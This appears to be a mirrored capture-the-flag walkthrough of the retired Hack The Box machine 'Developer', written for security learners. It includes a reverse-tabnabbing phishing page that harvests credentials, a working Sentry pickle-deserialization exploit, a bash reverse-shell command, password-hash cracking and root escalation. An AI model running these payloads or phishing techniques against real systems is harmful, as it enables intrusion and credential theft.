Developer: Hack The Box Walkthrough

 7 months ago
source link: https://hackso.me/developer-htb-walkthrough/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

This post documents the complete walkthrough of Developer, a retired vulnerable VM created by TheCyberGeek, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Developer is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65525 --rate=1000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-09-05 09:30:25 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131060 ports/host]
Discovered open port 22/tcp on
Discovered open port 80/tcp on

You know shit is tough when there ain’t much. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,80 -A --reason -oN nmap.txt
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 36:aa:93:e4:a4:56:ab:39:86:66:bf:3e:09:fa:eb:e0 (RSA)
|   256 11:fb:e9:89:2e:4b:66:40:7b:6b:01:cf:f2:f2:ee:ef (ECDSA)
|_  256 77:56:93:6e:5f:ea:e2:ad:b0:2e:cf:23:9d:66:ed:12 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://developer.htb/

Damn. Let’s map developer.htb to in /etc/hosts. This is what the site looks like.

What the heck is this? Sounds something like HackTheBox.

Directory/File Enumeration

Let’s see what wfuzz and SecList gives.

wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 --hc 404 --hh 0 http://developer.htb/FUZZ
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: http://developer.htb/FUZZ
Total requests: 17770

ID           Response   Lines    Word       Chars       Payload

000000008:   301        9 L      28 W       314 Ch      "media"
000000154:   301        9 L      28 W       315 Ch      "static"
000003781:   403        9 L      28 W       278 Ch      "server-status"
000003809:   200        212 L    797 W      10877 Ch    "http://developer.htb/"

Total time: 0
Processed Requests: 17770
Filtered Requests: 17766
Requests/sec.: 0

There were a lot of 301s when the payload contains “admin”. I use the filtering options above to save screen space. When you browse to http://developer.htb/admin, you are redirected to a Djanjo administration log in page.

We need to keep this mind while we explore the site.

Developer CTF

Let’s sign up an account and see what’s really going on. Don’t tell me I have to solve all these challenges to find a path to foothold?

Let’s give it a shot.

The download for this challenge is PSE.zip. It contains a file Encryption.exe which is a Mono/.Net assembly file.

That means we need dnSpy. This is what it looks like in dnSpy.

This is an executable converted from PowerShell, a.k.a. PS2EXE. We can easily extract the original PowerShell code like so.

Encryption.exe -extract:.\Encryption.ps1

Woohoo, we have the PowerShell code.

[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")

function Encrypt-String($String, $Passphrase, $salt="CrazilySimpleSalt", $init="StupidlyEasy_IV", [switch]$arrayOutput)
    $r = new-Object System.Security.Cryptography.RijndaelManaged
    $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase)
    $salt = [Text.Encoding]::UTF8.GetBytes($salt)

    $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32)
    $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]

    $c = $r.CreateEncryptor()
    $ms = new-Object IO.MemoryStream
    $cs = new-Object Security.Cryptography.CryptoStream $ms,$c,"Write"
    $sw = new-Object IO.StreamWriter $cs
    [byte[]]$result = $ms.ToArray()
    return [Convert]::ToBase64String($result)

$objForm = New-Object System.Windows.Forms.Form
$objForm.Text = "Data Encryption"
$objForm.Size = New-Object System.Drawing.Size(300,250)
$objForm.StartPosition = "CenterScreen"

$OKButton = New-Object System.Windows.Forms.Button
$OKButton.Location = New-Object System.Drawing.Size(30,160)
$OKButton.Size = New-Object System.Drawing.Size(75,23)
$OKButton.Text = "OK"
$encrypted = Encrypt-String $string "AmazinglyStrongPassword"
$objTextBoxincdes.Text = $encrypted

$CancelButton = New-Object System.Windows.Forms.Button
$CancelButton.Location = New-Object System.Drawing.Size(180,160)
$CancelButton.Size = New-Object System.Drawing.Size(75,23)
$CancelButton.Text = "Cancel"

$objLabel = New-Object System.Windows.Forms.Label
$objLabel.Location = New-Object System.Drawing.Size(10,20)
$objLabel.Size = New-Object System.Drawing.Size(280,20)
$objLabel.Text = "Please enter the information in the spaces below:"

$objLabelincnum = New-Object System.Windows.Forms.Label
$objLabelincnum.Location = New-Object System.Drawing.Size(10,40)
$objLabelincnum.Size = New-Object System.Drawing.Size(280,20)
$objLabelincnum.Text = "Please Enter User Password:"

$objTextBoxincnum = New-Object System.Windows.Forms.TextBox
$objTextBoxincnum.Location = New-Object System.Drawing.Size(10,60)
$objTextBoxincnum.Size = New-Object System.Drawing.Size(260,20)

$objLabelincdes = New-Object System.Windows.Forms.Label
$objLabelincdes.Location = New-Object System.Drawing.Size(10,90)
$objLabelincdes.Size = New-Object System.Drawing.Size(280,20)
$objLabelincdes.Text = "Encrypted Password is:"

$objTextBoxincdes = New-Object System.Windows.Forms.TextBox
$objTextBoxincdes.Location = New-Object System.Drawing.Size(10,110)
$objTextBoxincdes.Size = New-Object System.Drawing.Size(260,20)

$objForm.Topmost = $True

[void] $objForm.ShowDialog()

It’s easy to retrieve the flag now that we have the key, IV and passphrase to decrypt the ciphertext. I’ve chosen to do so in C#.

using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;

public class Program
  public static void Main()
    RijndaelManaged r = new RijndaelManaged();
    byte[] ciphertext = Convert.FromBase64String("X/o8VJQE1pyQhjmpcwk45+L069bivpF63PjZP4z7ahKaC+jv89NT6ze0T5id0lWC");
    byte[] salt = Encoding.UTF8.GetBytes("CrazilySimpleSalt");

    byte[] password = Encoding.UTF8.GetBytes("AmazinglyStrongPassword");
    byte[] key = new PasswordDeriveBytes(password, salt, "SHA1", 5).GetBytes(32);
    byte[] iv = new byte[16];
    Array.Copy(new SHA1Managed().ComputeHash(Encoding.UTF8.GetBytes("StupidlyEasy_IV")), 0, iv, 0, 16);

    r.Key = key;
    r.IV = iv;

    ICryptoTransform d = r.CreateDecryptor();

    MemoryStream ms = new MemoryStream(ciphertext);
    CryptoStream cs = new CryptoStream(ms, d, CryptoStreamMode.Read);
    StreamReader sr = new StreamReader(cs);

    string plaintext = sr.ReadToEnd();


Compile the above with mcs and run it with mono like so.

The flag is DHTB{P0w3rsh3lL_F0r3n51c_M4dn3s5}. Heck, even the flag format is similar. Let’s submit the flag and see what happens.

Damn, nothing. Moving along…

Phished List

The download for this challenge is phished_list.zip. It contains an Excel file.

If you open this file in LibreOffice Calc, you’ll know what this challenge is about.

We need to bypass the worksheet protection in order to unhide the columns. The worksheet protection mechanism is in xl/worksheets/sheet1.xml of phished_credential.xlsx, which is a ZIP file.

If you look into the sheet1.xml after extraction, you’ll find the <sheetProtection> element.

<sheetProtection algorithmName="SHA-512" hashValue="Y4Ko7kZUKStIxaVGWEtuMeRdnCiN7O3D8qZtKdo/2jP7WE6yzKQXUcSWQ/E0OrqHCzhOBFX+t8Db5Pxaiu+N1g==" saltValue="EoiHQklf0FagPs+iW0OzkA==" spinCount="100000" sheet="1" objects="1" scenarios="1"/>

We simply remove this element from sheet1.xml and put it back into phished_credentials.xlsx.

The lock icon is gone. Now we can show all the columns in the worksheet.

The flag is DHTB{H1dD3N_C0LuMn5_FtW}. Let’s submit the flag.

Strangely enough, once I made the submission the option to submit a walkthrough appears for each solved challenge.

Reverse Tabnabbing

If I had to guess, I would say that Developer CTF is susceptible to reverse tabnabbing as was HackTheBox as reported by 0xPrashant. All we need are two HTML files containing the following.

            if (window.opener) window.opener.parent.location.replace('');
            if (window.parent != window) window.parent.location.replace('');

This file is to be hosted behind a web server I control, e.g. Python 3 http.server module. It’s meant to be submitted as a link to the walkthrough. Because the rel="noopener nofollow" attribute is not present, the target="_blank" attribute still has access to the window.opener object and as shown above, we redirect the opening tab to somewhere else—a phishing or credential harvesting page. As you can see from above, the phishing page is hosted on another port. The phishing page’s HTML source code is almost identical to the login page of Developer CTF, except we don’t include resources like CSS and external JS.

<!doctype html>
<html lang="en">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">
    <title>Login | Developer.HTB</title>
  <body class="text-center">
    <form class="form-signin" action="/accounts/login/" method="post">
      <h1 class="h3 mb-3 font-weight-normal">Welcome back!</h1>
      <label for="uname" class="sr-only">User Name</label>
      <input type="text" id="id_login" name="login" placeholder="Username" class="form-control" required autofocus>
      <label for="password" class="sr-only">Password</label>
      <input type="password" id="id_password" name="password" placeholder="Password" class="form-control" required>
      <button id="loginbtn" class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>
      <a href="/accounts/password/reset/" class="auth-link">Forgot password?</a>
      <div class="text-center mt-4 font-weight-light"> Don't have an account? <a href="/accounts/signup/" >Click here!</a>
      <p class="mt-5 mb-3 text-muted">© Developer.HTB 2021</p>

In short, we need three terminal windows running the following:

  1. python3 -m http.server 80 for hosting evil.html
  2. python3 -m http.server for hosting pwn.html
  3. tcpdump -i tun0 -nt -A for reading the network traffic in plaintext.

Submit the walkthrough like so.

Once submitted, wait and this will appear in your tcpdump window.

Voila, the credentials are (admin:[email protected]). Armed with the credentials, we can now log in to Django administration.

Sentry 8.0.0

It appears Django is running two sites.

I’d better include developer-sentry.developer.htb into /etc/hosts as well. This is what the Sentry site looks like.

We can register an account to explore the site deeper.

We can see that [email protected] is a member of the site. Perhaps the password [email protected] will work for this username as well?


Authenticated Remote Code Execution in Sentry

The first thing I notice is that this Sentry is old. The current Sentry release is 21.8.0!!!

Oh boy have I the right exploit for this. The following Python code will help to generate the poisonous pickle for deserialization in the data field of an audit log entry.

from cPickle import dumps
import subprocess, sys
from base64 import b64encode
from zlib import compress
from shlex import split

class PickleExploit(object):

    def __init__(self, command_line):
        self.args = split(command_line)

    def __reduce__(self):
        return (subprocess.Popen, (self.args,))

print b64encode(compress(dumps(PickleExploit(sys.argv[1]))))


Let’s get that shell.

python exploit.py "/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'"

Copy the base64-encoded pickle and paste in one of the audit log entries.

Hit Save and you’ll see your shell.

From www-data to karl

During enumeration of www-data’s account, I noticed the sentry database details in /etc/sentry/sentry.py.conf.

Using chisel I was able to forward 5432/tcp listening on localhost to my machine and obtain karl’s password hash.

Let’s see if we can crack the password hash offline with John the Ripper. Note that we need to prepend $django$*1* to the hash.

Now, let’s see if we can log in to karl’s account with password insaneclownposse.

The file user.txt is in karl’s home directory.

Privilege Escalation

During enumeration of karl’s account, I notice that karl is able to sudo run the following.

To my surprise I was able to read /root/.auth/authenticator.

Reversing Rust Application

In my preliminary strings investigation of this ELF file, I notice plenty of strings referring to Rust Crypto, AES, mangled function names and also the following.

This led me to believe I’m looking at an ELF file compiled from Rust. Looks like if we provide the correct password we are allowed to inject a SSH public key we control into /root/.ssh/authorized_keys. Sounds like a plan!

Disassembly Overview

Let’s start with the disassembly of authentication::main, which is the actual entry point of the program, in Cutter.

You can see that Cutter has demangled one important function name, crypto::aes::ctr. What follows is that I put the program through GDB and the program stopped at the breakpoint placed at authentication::main+0x196

Once we stepped over crypto::aes::ctr function, the encrypted content is at the address in RAX.

Secret Password

Armed with the knowledge of the cipher (AES), mode of operation (CTR), ciphertext, key and IV, we can decrypt the ciphertext like so.

Could [email protected]@2021:) be the password for authenticator?


Time to log in as root!

Armed with a root shell getting root.txt is trivial.

About Joyk

Aggregate valuable and interesting links.
Joyk means Joy of geeK